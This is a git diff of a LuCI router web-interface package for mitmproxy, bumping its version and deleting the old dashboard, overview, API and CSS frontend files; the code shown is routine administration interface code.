diff --git a/package/secubox/luci-app-mitmproxy/Makefile b/package/secubox/luci-app-mitmproxy/Makefile
index 274afb0f..65671557 100644
--- a/package/secubox/luci-app-mitmproxy/Makefile
+++ b/package/secubox/luci-app-mitmproxy/Makefile
@@ -7,8 +7,8 @@
include $(TOPDIR)/rules.mk
PKG_NAME:=luci-app-mitmproxy
-PKG_VERSION:=0.4.0
-PKG_RELEASE:=6
+PKG_VERSION:=0.5.0
+PKG_RELEASE:=1
PKG_ARCH:=all
PKG_LICENSE:=Apache-2.0
diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/mitmproxy/api.js b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/mitmproxy/api.js
deleted file mode 100644
index e6c65fbf..00000000
--- a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/mitmproxy/api.js
+++ /dev/null
@@ -1,193 +0,0 @@
-'use strict';
-'require baseclass';
-'require rpc';
-
-// Status and settings
-var callStatus = rpc.declare({
- object: 'luci.mitmproxy',
- method: 'status',
- expect: {}
-});
-
-var callSettings = rpc.declare({
- object: 'luci.mitmproxy',
- method: 'settings',
- expect: {}
-});
-
-var callSaveSettings = rpc.declare({
- object: 'luci.mitmproxy',
- method: 'save_settings',
- params: ['mode', 'enabled', 'proxy_port', 'web_port', 'web_host', 'data_path',
- 'memory_limit', 'upstream_proxy', 'reverse_target', 'ssl_insecure',
- 'anticache', 'anticomp', 'transparent_enabled', 'transparent_interface',
- 'redirect_http', 'redirect_https', 'filtering_enabled', 'log_requests',
- 'filter_cdn', 'filter_media', 'block_ads', 'apply_now'],
- expect: {}
-});
-
-var callSetMode = rpc.declare({
- object: 'luci.mitmproxy',
- method: 'set_mode',
- params: ['mode', 'apply_now'],
- expect: {}
-});
-
-// Service control
-var callInstall = rpc.declare({
- object: 'luci.mitmproxy',
- method: 'install',
- expect: {}
-});
-
-var callStart = rpc.declare({
- object: 'luci.mitmproxy',
- method: 'start',
- expect: {}
-});
-
-var callStop = rpc.declare({
- object: 'luci.mitmproxy',
- method: 'stop',
- expect: {}
-});
-
-var callRestart = rpc.declare({
- object: 'luci.mitmproxy',
- method: 'restart',
- expect: {}
-});
-
-// Firewall control
-var callSetupFirewall = rpc.declare({
- object: 'luci.mitmproxy',
- method: 'setup_firewall',
- expect: {}
-});
-
-var callClearFirewall = rpc.declare({
- object: 'luci.mitmproxy',
- method: 'clear_firewall',
- expect: {}
-});
-
-return baseclass.extend({
- getStatus: function() {
- return callStatus().catch(function() {
- return {
- running: false,
- enabled: false,
- installed: false,
- lxc_available: false,
- mode: 'regular',
- nft_active: false
- };
- });
- },
-
- getSettings: function() {
- return callSettings().catch(function() {
- return {
- enabled: false,
- mode: 'regular',
- proxy_port: 8888,
- web_port: 8081,
- web_host: '0.0.0.0',
- data_path: '/srv/mitmproxy',
- memory_limit: '256M',
- transparent_enabled: false,
- transparent_interface: 'br-lan',
- redirect_http: true,
- redirect_https: true,
- filtering_enabled: false,
- log_requests: true,
- filter_cdn: false,
- filter_media: false,
- block_ads: false
- };
- });
- },
-
- saveSettings: function(settings) {
- return callSaveSettings(
- settings.mode,
- settings.enabled,
- settings.proxy_port,
- settings.web_port,
- settings.web_host,
- settings.data_path,
- settings.memory_limit,
- settings.upstream_proxy,
- settings.reverse_target,
- settings.ssl_insecure,
- settings.anticache,
- settings.anticomp,
- settings.transparent_enabled,
- settings.transparent_interface,
- settings.redirect_http,
- settings.redirect_https,
- settings.filtering_enabled,
- settings.log_requests,
- settings.filter_cdn,
- settings.filter_media,
- settings.block_ads,
- settings.apply_now !== false
- );
- },
-
- setMode: function(mode, applyNow) {
- return callSetMode(mode, applyNow !== false);
- },
-
- install: function() {
- return callInstall();
- },
-
- start: function() {
- return callStart();
- },
-
- stop: function() {
- return callStop();
- },
-
- restart: function() {
- return callRestart();
- },
-
- setupFirewall: function() {
- return callSetupFirewall();
- },
-
- clearFirewall: function() {
- return callClearFirewall();
- },
-
- getAllData: function() {
- var self = this;
- return Promise.all([
- self.getStatus(),
- self.getSettings()
- ]).then(function(results) {
- return {
- status: results[0],
- settings: results[1]
- };
- });
- },
-
- formatBytes: function(bytes) {
- if (!bytes || bytes === 0) return '0 B';
- var k = 1024;
- var sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
- var i = Math.floor(Math.log(bytes) / Math.log(k));
- return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
- },
-
- formatNumber: function(num) {
- if (!num) return '0';
- if (num >= 1000000) return (num / 1000000).toFixed(1) + 'M';
- if (num >= 1000) return (num / 1000).toFixed(1) + 'K';
- return num.toString();
- }
-});
diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/mitmproxy/dashboard.css b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/mitmproxy/dashboard.css
deleted file mode 100644
index ca49629a..00000000
--- a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/mitmproxy/dashboard.css
+++ /dev/null
@@ -1,456 +0,0 @@
-/* mitmproxy Dashboard - SecuBox Theme */
-
-.mitmproxy-dashboard {
- --mp-primary: #e74c3c;
- --mp-primary-light: #ec7063;
- --mp-secondary: #3498db;
- --mp-success: #27ae60;
- --mp-warning: #f39c12;
- --mp-danger: #c0392b;
- --mp-bg-dark: #0d0d12;
- --mp-bg-card: #141419;
- --mp-bg-card-hover: #1a1a22;
- --mp-border: rgba(255, 255, 255, 0.08);
- --mp-text: #e0e0e8;
- --mp-text-muted: #8a8a9a;
- --mp-gradient: linear-gradient(135deg, #e74c3c, #c0392b);
-
- font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
- color: var(--mp-text);
- padding: 20px;
- max-width: 1400px;
- margin: 0 auto;
-}
-
-/* Header */
-.mp-header {
- display: flex;
- align-items: center;
- justify-content: space-between;
- padding: 20px 24px;
- background: var(--mp-bg-card);
- border: 1px solid var(--mp-border);
- border-radius: 16px;
- margin-bottom: 20px;
-}
-
-.mp-logo {
- display: flex;
- align-items: center;
- gap: 12px;
-}
-
-.mp-logo-icon {
- width: 48px;
- height: 48px;
- background: var(--mp-gradient);
- border-radius: 12px;
- display: flex;
- align-items: center;
- justify-content: center;
- font-size: 24px;
-}
-
-.mp-logo-text {
- font-size: 24px;
- font-weight: 700;
- color: #fff;
-}
-
-.mp-logo-text span {
- color: var(--mp-primary);
-}
-
-.mp-status-badge {
- display: inline-flex;
- align-items: center;
- gap: 8px;
- padding: 8px 16px;
- border-radius: 20px;
- font-size: 14px;
- font-weight: 500;
-}
-
-.mp-status-badge.running {
- background: rgba(39, 174, 96, 0.2);
- color: #27ae60;
-}
-
-.mp-status-badge.stopped {
- background: rgba(192, 57, 43, 0.2);
- color: #c0392b;
-}
-
-.mp-status-dot {
- width: 8px;
- height: 8px;
- border-radius: 50%;
- background: currentColor;
- animation: pulse 2s infinite;
-}
-
-@keyframes pulse {
- 0%, 100% { opacity: 1; }
- 50% { opacity: 0.5; }
-}
-
-/* Controls */
-.mp-controls {
- display: flex;
- align-items: center;
- gap: 10px;
- padding: 16px 20px;
- background: var(--mp-bg-card);
- border: 1px solid var(--mp-border);
- border-radius: 12px;
- margin-bottom: 20px;
- flex-wrap: wrap;
-}
-
-.mp-btn {
- display: inline-flex;
- align-items: center;
- gap: 6px;
- padding: 10px 18px;
- border: none;
- border-radius: 8px;
- font-size: 14px;
- font-weight: 500;
- cursor: pointer;
- transition: all 0.2s;
- background: rgba(255, 255, 255, 0.05);
- color: var(--mp-text);
-}
-
-.mp-btn:hover:not(:disabled) {
- transform: translateY(-1px);
- box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
-}
-
-.mp-btn:disabled {
- opacity: 0.5;
- cursor: not-allowed;
-}
-
-.mp-btn-success {
- background: var(--mp-success);
- color: white;
-}
-
-.mp-btn-danger {
- background: var(--mp-danger);
- color: white;
-}
-
-.mp-btn-primary {
- background: var(--mp-primary);
- color: white;
-}
-
-.mp-btn-secondary {
- background: var(--mp-secondary);
- color: white;
-}
-
-/* Quick Stats Grid */
-.mp-quick-stats {
- display: grid;
- grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
- gap: 16px;
- margin-bottom: 20px;
-}
-
-.mp-quick-stat {
- background: var(--mp-bg-card);
- border: 1px solid var(--mp-border);
- border-radius: 12px;
- padding: 20px;
- position: relative;
- overflow: hidden;
-}
-
-.mp-quick-stat::before {
- content: '';
- position: absolute;
- top: 0;
- left: 0;
- right: 0;
- height: 3px;
- background: var(--stat-gradient, var(--mp-gradient));
-}
-
-.mp-quick-stat-header {
- display: flex;
- align-items: center;
- gap: 8px;
- margin-bottom: 12px;
-}
-
-.mp-quick-stat-icon {
- font-size: 20px;
-}
-
-.mp-quick-stat-label {
- font-size: 13px;
- color: var(--mp-text-muted);
- text-transform: uppercase;
- letter-spacing: 0.5px;
-}
-
-.mp-quick-stat-value {
- font-size: 28px;
- font-weight: 700;
- color: #fff;
-}
-
-.mp-quick-stat-sub {
- font-size: 12px;
- color: var(--mp-text-muted);
- margin-top: 4px;
-}
-
-/* Cards */
-.mp-card {
- background: var(--mp-bg-card);
- border: 1px solid var(--mp-border);
- border-radius: 12px;
- margin-bottom: 20px;
- overflow: hidden;
-}
-
-.mp-card-header {
- display: flex;
- align-items: center;
- justify-content: space-between;
- padding: 16px 20px;
- border-bottom: 1px solid var(--mp-border);
-}
-
-.mp-card-title {
- display: flex;
- align-items: center;
- gap: 10px;
- font-size: 16px;
- font-weight: 600;
- color: #fff;
-}
-
-.mp-card-title-icon {
- font-size: 18px;
-}
-
-.mp-card-badge {
- background: rgba(255, 255, 255, 0.1);
- padding: 4px 12px;
- border-radius: 16px;
- font-size: 12px;
- color: var(--mp-text-muted);
-}
-
-.mp-card-body {
- padding: 20px;
-}
-
-/* Grid layouts */
-.mp-grid-2 {
- display: grid;
- grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
- gap: 20px;
- margin-bottom: 20px;
-}
-
-/* Host list */
-.mp-hosts-list {
- display: flex;
- flex-direction: column;
- gap: 12px;
-}
-
-.mp-host-item {
- display: flex;
- align-items: center;
- gap: 12px;
- padding: 12px;
- background: rgba(255, 255, 255, 0.02);
- border-radius: 8px;
- transition: background 0.2s;
-}
-
-.mp-host-item:hover {
- background: rgba(255, 255, 255, 0.05);
-}
-
-.mp-host-icon {
- width: 36px;
- height: 36px;
- background: var(--mp-gradient);
- border-radius: 8px;
- display: flex;
- align-items: center;
- justify-content: center;
- font-size: 16px;
-}
-
-.mp-host-info {
- flex: 1;
- min-width: 0;
-}
-
-.mp-host-name {
- font-size: 14px;
- font-weight: 500;
- color: #fff;
- white-space: nowrap;
- overflow: hidden;
- text-overflow: ellipsis;
-}
-
-.mp-host-count {
- font-size: 12px;
- color: var(--mp-text-muted);
-}
-
-.mp-host-bar {
- width: 60px;
- height: 4px;
- background: rgba(255, 255, 255, 0.1);
- border-radius: 2px;
- overflow: hidden;
-}
-
-.mp-host-bar-fill {
- height: 100%;
- background: var(--mp-gradient);
- border-radius: 2px;
- transition: width 0.3s;
-}
-
-/* CA Certificate card */
-.mp-ca-card {
- display: flex;
- align-items: center;
- gap: 16px;
- padding: 20px;
- background: rgba(255, 255, 255, 0.02);
- border-radius: 12px;
-}
-
-.mp-ca-icon {
- width: 56px;
- height: 56px;
- background: var(--mp-secondary);
- border-radius: 12px;
- display: flex;
- align-items: center;
- justify-content: center;
- font-size: 28px;
-}
-
-.mp-ca-info {
- flex: 1;
-}
-
-.mp-ca-title {
- font-size: 16px;
- font-weight: 600;
- color: #fff;
- margin-bottom: 4px;
-}
-
-.mp-ca-status {
- font-size: 13px;
- color: var(--mp-text-muted);
-}
-
-.mp-ca-status.installed {
- color: var(--mp-success);
-}
-
-.mp-ca-status.not-installed {
- color: var(--mp-warning);
-}
-
-/* Empty state */
-.mp-empty {
- text-align: center;
- padding: 40px 20px;
- color: var(--mp-text-muted);
-}
-
-.mp-empty-icon {
- font-size: 48px;
- margin-bottom: 16px;
- opacity: 0.5;
-}
-
-.mp-empty-text {
- font-size: 16px;
- font-weight: 500;
- margin-bottom: 8px;
-}
-
-/* Navigation */
-.mp-app-nav {
- display: flex;
- gap: 8px;
- margin-bottom: 20px;
- padding: 12px 16px;
- background: var(--mp-bg-card);
- border: 1px solid var(--mp-border);
- border-radius: 12px;
-}
-
-.mp-app-nav a {
- display: flex;
- align-items: center;
- gap: 8px;
- padding: 10px 16px;
- border-radius: 8px;
- text-decoration: none;
- font-size: 14px;
- font-weight: 500;
- transition: all 0.2s;
- color: var(--mp-text-muted);
- background: transparent;
-}
-
-.mp-app-nav a:hover {
- background: rgba(255, 255, 255, 0.05);
- color: var(--mp-text);
-}
-
-.mp-app-nav a.active {
- background: var(--mp-gradient);
- color: white;
-}
-
-/* Value update animation */
-.mp-value-updated {
- animation: valueFlash 0.5s ease-out;
-}
-
-@keyframes valueFlash {
- 0% { color: var(--mp-primary); transform: scale(1.05); }
- 100% { color: inherit; transform: scale(1); }
-}
-
-/* Responsive */
-@media (max-width: 768px) {
- .mp-header {
- flex-direction: column;
- gap: 16px;
- text-align: center;
- }
-
- .mp-controls {
- justify-content: center;
- }
-
- .mp-grid-2 {
- grid-template-columns: 1fr;
- }
-
- .mp-quick-stats {
- grid-template-columns: repeat(2, 1fr);
- }
-}
diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/dashboard.js b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/dashboard.js
deleted file mode 100644
index ec52738a..00000000
--- a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/dashboard.js
+++ /dev/null
@@ -1,366 +0,0 @@
-'use strict';
-'require view';
-'require poll';
-'require dom';
-'require ui';
-'require mitmproxy/api as api';
-'require secubox-theme/theme as Theme';
-'require secubox-portal/header as SbHeader';
-
-var lang = (typeof L !== 'undefined' && L.env && L.env.lang) ||
- (document.documentElement && document.documentElement.getAttribute('lang')) ||
- (navigator.language ? navigator.language.split('-')[0] : 'en');
-Theme.init({ language: lang });
-
-var MITMPROXY_NAV = [
- { id: 'dashboard', icon: 'π', label: 'Dashboard' },
- { id: 'webui', icon: 'π₯οΈ', label: 'Web UI' },
- { id: 'requests', icon: 'π', label: 'Requests' },
- { id: 'settings', icon: 'βοΈ', label: 'Settings' }
-];
-
-function renderMitmproxyNav(activeId) {
- return E('div', { 'class': 'mp-app-nav' }, MITMPROXY_NAV.map(function(item) {
- var isActive = activeId === item.id;
- return E('a', {
- 'href': L.url('admin', 'secubox', 'security', 'mitmproxy', item.id),
- 'class': isActive ? 'active' : ''
- }, [
- E('span', {}, item.icon),
- E('span', {}, _(item.label))
- ]);
- }));
-}
-
-return view.extend({
- title: _('mitmproxy Dashboard'),
- pollInterval: 5,
- pollActive: true,
-
- load: function() {
- return api.getAllData();
- },
-
- updateDashboard: function(data) {
- var status = data.status || {};
- var stats = data.stats || {};
-
- // Update status badge
- var statusBadge = document.querySelector('.mp-status-badge');
- if (statusBadge) {
- statusBadge.classList.toggle('running', status.running);
- statusBadge.classList.toggle('stopped', !status.running);
- statusBadge.innerHTML = '' +
- (status.running ? 'Running' : 'Stopped');
- }
-
- // Update stats
- var updates = [
- { sel: '.mp-stat-requests', val: api.formatNumber(stats.total_requests) },
- { sel: '.mp-stat-hosts', val: api.formatNumber(stats.unique_hosts) },
- { sel: '.mp-stat-flows', val: api.formatBytes(stats.flow_file_size) }
- ];
-
- updates.forEach(function(u) {
- var el = document.querySelector(u.sel);
- if (el && el.textContent !== u.val) {
- el.textContent = u.val;
- el.classList.add('mp-value-updated');
- setTimeout(function() { el.classList.remove('mp-value-updated'); }, 500);
- }
- });
- },
-
- startPolling: function() {
- var self = this;
- this.pollActive = true;
-
- poll.add(L.bind(function() {
- if (!this.pollActive) return Promise.resolve();
-
- return api.getAllData().then(L.bind(function(data) {
- this.updateDashboard(data);
- }, this));
- }, this), this.pollInterval);
- },
-
- stopPolling: function() {
- this.pollActive = false;
- poll.stop();
- },
-
- handleServiceControl: function(action) {
- var self = this;
-
- ui.showModal(_('Please wait...'), [
- E('p', { 'class': 'spinning' }, _('Processing request...'))
- ]);
-
- var promise;
- switch (action) {
- case 'start':
- promise = api.serviceStart();
- break;
- case 'stop':
- promise = api.serviceStop();
- break;
- case 'restart':
- promise = api.serviceRestart();
- break;
- default:
- ui.hideModal();
- return;
- }
-
- promise.then(function(result) {
- ui.hideModal();
- if (result.running !== undefined) {
- ui.addNotification(null, E('p', {}, _('Service ' + action + ' completed')), 'info');
- location.reload();
- }
- }).catch(function(err) {
- ui.hideModal();
- ui.addNotification(null, E('p', {}, _('Error: ') + err.message), 'error');
- });
- },
-
- handleClearData: function() {
- var self = this;
-
- if (!confirm(_('Clear all captured request data?'))) {
- return;
- }
-
- api.clearData().then(function(result) {
- if (result.success) {
- ui.addNotification(null, E('p', {}, result.message || _('Data cleared')), 'info');
- location.reload();
- }
- });
- },
-
- render: function(data) {
- var self = this;
- var status = data.status || {};
- var config = data.config || {};
- var stats = data.stats || {};
- var topHosts = (data.topHosts || {}).hosts || [];
- var caInfo = data.caInfo || {};
-
- var view = E('div', { 'class': 'mitmproxy-dashboard' }, [
- E('link', { 'rel': 'stylesheet', 'href': L.resource('mitmproxy/dashboard.css') }),
-
- // Header
- E('div', { 'class': 'mp-header' }, [
- E('div', { 'class': 'mp-logo' }, [
- E('div', { 'class': 'mp-logo-icon' }, 'π'),
- E('div', { 'class': 'mp-logo-text' }, ['mitm', E('span', {}, 'proxy')])
- ]),
- E('div', {}, [
- E('div', {
- 'class': 'mp-status-badge ' + (status.running ? 'running' : 'stopped')
- }, [
- E('span', { 'class': 'mp-status-dot' }),
- status.running ? 'Running' : 'Stopped'
- ])
- ])
- ]),
-
- // Service controls
- E('div', { 'class': 'mp-controls' }, [
- E('button', {
- 'class': 'mp-btn mp-btn-success',
- 'click': function() { self.handleServiceControl('start'); },
- 'disabled': status.running
- }, 'βΆ Start'),
- E('button', {
- 'class': 'mp-btn mp-btn-danger',
- 'click': function() { self.handleServiceControl('stop'); },
- 'disabled': !status.running
- }, 'βΉ Stop'),
- E('button', {
- 'class': 'mp-btn mp-btn-primary',
- 'click': function() { self.handleServiceControl('restart'); }
- }, 'π Restart'),
- E('div', { 'style': 'flex: 1' }),
- status.web_url ? E('a', {
- 'class': 'mp-btn mp-btn-secondary',
- 'href': status.web_url,
- 'target': '_blank'
- }, 'π Open Web UI') : null,
- E('button', {
- 'class': 'mp-btn',
- 'click': L.bind(this.handleClearData, this)
- }, 'π Clear Data')
- ]),
-
- // Quick Stats
- E('div', { 'class': 'mp-quick-stats' }, [
- E('div', { 'class': 'mp-quick-stat' }, [
- E('div', { 'class': 'mp-quick-stat-header' }, [
- E('span', { 'class': 'mp-quick-stat-icon' }, 'π'),
- E('span', { 'class': 'mp-quick-stat-label' }, 'Total Requests')
- ]),
- E('div', { 'class': 'mp-quick-stat-value mp-stat-requests' },
- api.formatNumber(stats.total_requests || 0)),
- E('div', { 'class': 'mp-quick-stat-sub' }, 'Captured since start')
- ]),
- E('div', { 'class': 'mp-quick-stat', 'style': '--stat-gradient: linear-gradient(135deg, #3498db, #2980b9)' }, [
- E('div', { 'class': 'mp-quick-stat-header' }, [
- E('span', { 'class': 'mp-quick-stat-icon' }, 'π'),
- E('span', { 'class': 'mp-quick-stat-label' }, 'Unique Hosts')
- ]),
- E('div', { 'class': 'mp-quick-stat-value mp-stat-hosts' },
- api.formatNumber(stats.unique_hosts || 0)),
- E('div', { 'class': 'mp-quick-stat-sub' }, 'Distinct domains')
- ]),
- E('div', { 'class': 'mp-quick-stat', 'style': '--stat-gradient: linear-gradient(135deg, #27ae60, #1abc9c)' }, [
- E('div', { 'class': 'mp-quick-stat-header' }, [
- E('span', { 'class': 'mp-quick-stat-icon' }, 'πΎ'),
- E('span', { 'class': 'mp-quick-stat-label' }, 'Flow Data')
- ]),
- E('div', { 'class': 'mp-quick-stat-value mp-stat-flows' },
- api.formatBytes(stats.flow_file_size || 0)),
- E('div', { 'class': 'mp-quick-stat-sub' }, 'Captured flows')
- ]),
- E('div', { 'class': 'mp-quick-stat', 'style': '--stat-gradient: linear-gradient(135deg, #9b59b6, #8e44ad)' }, [
- E('div', { 'class': 'mp-quick-stat-header' }, [
- E('span', { 'class': 'mp-quick-stat-icon' }, 'π'),
- E('span', { 'class': 'mp-quick-stat-label' }, 'Proxy Port')
- ]),
- E('div', { 'class': 'mp-quick-stat-value' }, status.listen_port || 8080),
- E('div', { 'class': 'mp-quick-stat-sub' }, config.mode || 'transparent')
- ])
- ]),
-
- // Grid layout
- E('div', { 'class': 'mp-grid-2' }, [
- // Top Hosts
- E('div', { 'class': 'mp-card' }, [
- E('div', { 'class': 'mp-card-header' }, [
- E('div', { 'class': 'mp-card-title' }, [
- E('span', { 'class': 'mp-card-title-icon' }, 'π'),
- 'Top Hosts'
- ]),
- E('div', { 'class': 'mp-card-badge' }, topHosts.length + ' hosts')
- ]),
- E('div', { 'class': 'mp-card-body' },
- topHosts.length > 0 ?
- E('div', { 'class': 'mp-hosts-list' },
- (function() {
- var maxCount = Math.max.apply(null, topHosts.map(function(h) { return h.count || 0; })) || 1;
- return topHosts.slice(0, 8).map(function(host) {
- var pct = Math.round(((host.count || 0) / maxCount) * 100);
- return E('div', { 'class': 'mp-host-item' }, [
- E('div', { 'class': 'mp-host-icon' }, 'π'),
- E('div', { 'class': 'mp-host-info' }, [
- E('div', { 'class': 'mp-host-name' }, host.host || 'unknown'),
- E('div', { 'class': 'mp-host-count' }, (host.count || 0) + ' requests')
- ]),
- E('div', { 'class': 'mp-host-bar' }, [
- E('div', { 'class': 'mp-host-bar-fill', 'style': 'width:' + pct + '%' })
- ])
- ]);
- });
- })()
- ) :
- E('div', { 'class': 'mp-empty' }, [
- E('div', { 'class': 'mp-empty-icon' }, 'π'),
- E('div', { 'class': 'mp-empty-text' }, 'No hosts captured yet'),
- E('p', {}, 'Start the proxy and generate traffic')
- ])
- )
- ]),
-
- // CA Certificate
- E('div', { 'class': 'mp-card' }, [
- E('div', { 'class': 'mp-card-header' }, [
- E('div', { 'class': 'mp-card-title' }, [
- E('span', { 'class': 'mp-card-title-icon' }, 'π'),
- 'CA Certificate'
- ])
- ]),
- E('div', { 'class': 'mp-card-body' }, [
- E('div', { 'class': 'mp-ca-card' }, [
- E('div', { 'class': 'mp-ca-icon' }, 'π'),
- E('div', { 'class': 'mp-ca-info' }, [
- E('div', { 'class': 'mp-ca-title' }, 'mitmproxy CA'),
- E('div', {
- 'class': 'mp-ca-status ' + (caInfo.installed ? 'installed' : 'not-installed')
- }, caInfo.installed ? 'Certificate installed' : 'Certificate not generated'),
- caInfo.expires ? E('div', { 'class': 'mp-ca-status' }, 'Expires: ' + caInfo.expires) : null
- ]),
- caInfo.download_url ? E('a', {
- 'class': 'mp-btn mp-btn-secondary',
- 'href': caInfo.download_url,
- 'target': '_blank'
- }, 'β¬ Download') : null
- ]),
- E('div', { 'style': 'margin-top: 16px; padding: 16px; background: rgba(255,255,255,0.02); border-radius: 8px; font-size: 13px; color: var(--mp-text-muted)' }, [
- E('p', { 'style': 'margin: 0 0 8px 0' }, [
- E('strong', {}, 'HTTPS Interception: '),
- 'To inspect encrypted traffic, install the mitmproxy CA certificate on client devices.'
- ]),
- E('p', { 'style': 'margin: 0' }, [
- 'Access ',
- E('code', {}, 'http://mitm.it'),
- ' from any proxied device to download the certificate.'
- ])
- ])
- ])
- ])
- ]),
-
- // Configuration Summary
- E('div', { 'class': 'mp-card' }, [
- E('div', { 'class': 'mp-card-header' }, [
- E('div', { 'class': 'mp-card-title' }, [
- E('span', { 'class': 'mp-card-title-icon' }, 'βοΈ'),
- 'Configuration'
- ]),
- E('a', {
- 'href': L.url('admin', 'secubox', 'mitmproxy', 'settings'),
- 'class': 'mp-btn'
- }, 'β Edit')
- ]),
- E('div', { 'class': 'mp-card-body' }, [
- E('div', { 'style': 'display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 16px;' }, [
- E('div', {}, [
- E('div', { 'style': 'color: var(--mp-text-muted); font-size: 12px; text-transform: uppercase; margin-bottom: 4px' }, 'Mode'),
- E('div', { 'style': 'font-weight: 500' }, config.mode || 'transparent')
- ]),
- E('div', {}, [
- E('div', { 'style': 'color: var(--mp-text-muted); font-size: 12px; text-transform: uppercase; margin-bottom: 4px' }, 'Proxy Port'),
- E('div', { 'style': 'font-weight: 500' }, (config.listen_host || '0.0.0.0') + ':' + (config.listen_port || 8080))
- ]),
- E('div', {}, [
- E('div', { 'style': 'color: var(--mp-text-muted); font-size: 12px; text-transform: uppercase; margin-bottom: 4px' }, 'Web UI Port'),
- E('div', { 'style': 'font-weight: 500' }, (config.web_host || '0.0.0.0') + ':' + (config.web_port || 8081))
- ]),
- E('div', {}, [
- E('div', { 'style': 'color: var(--mp-text-muted); font-size: 12px; text-transform: uppercase; margin-bottom: 4px' }, 'Capture'),
- E('div', { 'style': 'font-weight: 500' }, [
- config.capture_urls ? 'URLs ' : '',
- config.capture_cookies ? 'Cookies ' : '',
- config.capture_headers ? 'Headers ' : ''
- ].filter(Boolean).join(', ') || 'Disabled')
- ])
- ])
- ])
- ])
- ]);
-
- // Start polling
- this.startPolling();
-
- var wrapper = E('div', { 'class': 'secubox-page-wrapper' });
- wrapper.appendChild(SbHeader.render());
- wrapper.appendChild(renderMitmproxyNav('dashboard'));
- wrapper.appendChild(view);
- return wrapper;
- },
-
- handleSaveApply: null,
- handleSave: null,
- handleReset: null
-});
diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/overview.js b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/overview.js
deleted file mode 100644
index a09ed676..00000000
--- a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/overview.js
+++ /dev/null
@@ -1,375 +0,0 @@
-'use strict';
-'require view';
-'require ui';
-'require rpc';
-
-var callStatus = rpc.declare({ object: 'luci.mitmproxy', method: 'status', expect: {} });
-var callInstall = rpc.declare({ object: 'luci.mitmproxy', method: 'install', expect: {} });
-var callStart = rpc.declare({ object: 'luci.mitmproxy', method: 'start', expect: {} });
-var callStop = rpc.declare({ object: 'luci.mitmproxy', method: 'stop', expect: {} });
-var callRestart = rpc.declare({ object: 'luci.mitmproxy', method: 'restart', expect: {} });
-
-var css = [
- ':root { --mp-primary: #e74c3c; --mp-primary-light: #ec7063; --mp-secondary: #3498db; --mp-success: #27ae60; --mp-warning: #f39c12; --mp-danger: #c0392b; --mp-bg: #0d0d12; --mp-card: #141419; --mp-border: rgba(255,255,255,0.08); --mp-text: #e0e0e8; --mp-muted: #8a8a9a; }',
- '.mp-overview { max-width: 1000px; margin: 0 auto; padding: 20px; font-family: system-ui, -apple-system, sans-serif; color: var(--mp-text); }',
-
- /* Header */
- '.mp-header { display: flex; justify-content: space-between; align-items: center; padding: 24px; background: linear-gradient(135deg, #e74c3c 0%, #c0392b 100%); border-radius: 16px; color: #fff; margin-bottom: 24px; }',
- '.mp-header-left { display: flex; align-items: center; gap: 16px; }',
- '.mp-logo { font-size: 48px; }',
- '.mp-title { font-size: 28px; font-weight: 700; margin: 0; }',
- '.mp-subtitle { font-size: 14px; opacity: 0.9; margin-top: 4px; }',
- '.mp-status { display: flex; align-items: center; gap: 8px; padding: 8px 16px; border-radius: 20px; font-size: 14px; font-weight: 500; }',
- '.mp-status.running { background: rgba(39,174,96,0.3); }',
- '.mp-status.stopped { background: rgba(239,68,68,0.3); }',
- '.mp-dot { width: 10px; height: 10px; border-radius: 50%; animation: pulse 2s infinite; }',
- '.mp-status.running .mp-dot { background: #27ae60; }',
- '.mp-status.stopped .mp-dot { background: #ef4444; }',
- '@keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } }',
-
- /* Welcome Banner - shown when not installed/running */
- '.mp-welcome { text-align: center; padding: 60px 40px; background: var(--mp-card); border: 1px solid var(--mp-border); border-radius: 16px; margin-bottom: 24px; }',
- '.mp-welcome-icon { font-size: 80px; margin-bottom: 20px; }',
- '.mp-welcome h2 { font-size: 28px; margin: 0 0 12px 0; color: #fff; }',
- '.mp-welcome p { font-size: 16px; color: var(--mp-muted); margin: 0 0 30px 0; max-width: 600px; margin-left: auto; margin-right: auto; }',
- '.mp-welcome-note { background: rgba(231,76,60,0.1); border: 1px solid rgba(231,76,60,0.3); border-radius: 12px; padding: 16px; margin-top: 24px; font-size: 14px; color: #ec7063; }',
-
- /* Mode Cards */
- '.mp-modes { display: grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap: 16px; margin-bottom: 24px; }',
- '.mp-mode-card { background: var(--mp-card); border: 2px solid var(--mp-border); border-radius: 16px; padding: 24px; text-align: center; cursor: pointer; transition: all 0.3s; }',
- '.mp-mode-card:hover { border-color: var(--mp-primary); transform: translateY(-4px); box-shadow: 0 8px 32px rgba(231,76,60,0.2); }',
- '.mp-mode-card.recommended { border-color: var(--mp-primary); background: linear-gradient(180deg, rgba(231,76,60,0.1) 0%, transparent 100%); }',
- '.mp-mode-icon { font-size: 48px; margin-bottom: 16px; }',
- '.mp-mode-title { font-size: 18px; font-weight: 600; color: #fff; margin-bottom: 8px; }',
- '.mp-mode-desc { font-size: 13px; color: var(--mp-muted); line-height: 1.5; }',
- '.mp-mode-badge { display: inline-block; background: var(--mp-primary); color: #fff; font-size: 11px; padding: 4px 10px; border-radius: 12px; margin-top: 12px; text-transform: uppercase; font-weight: 600; }',
-
- /* Feature Grid */
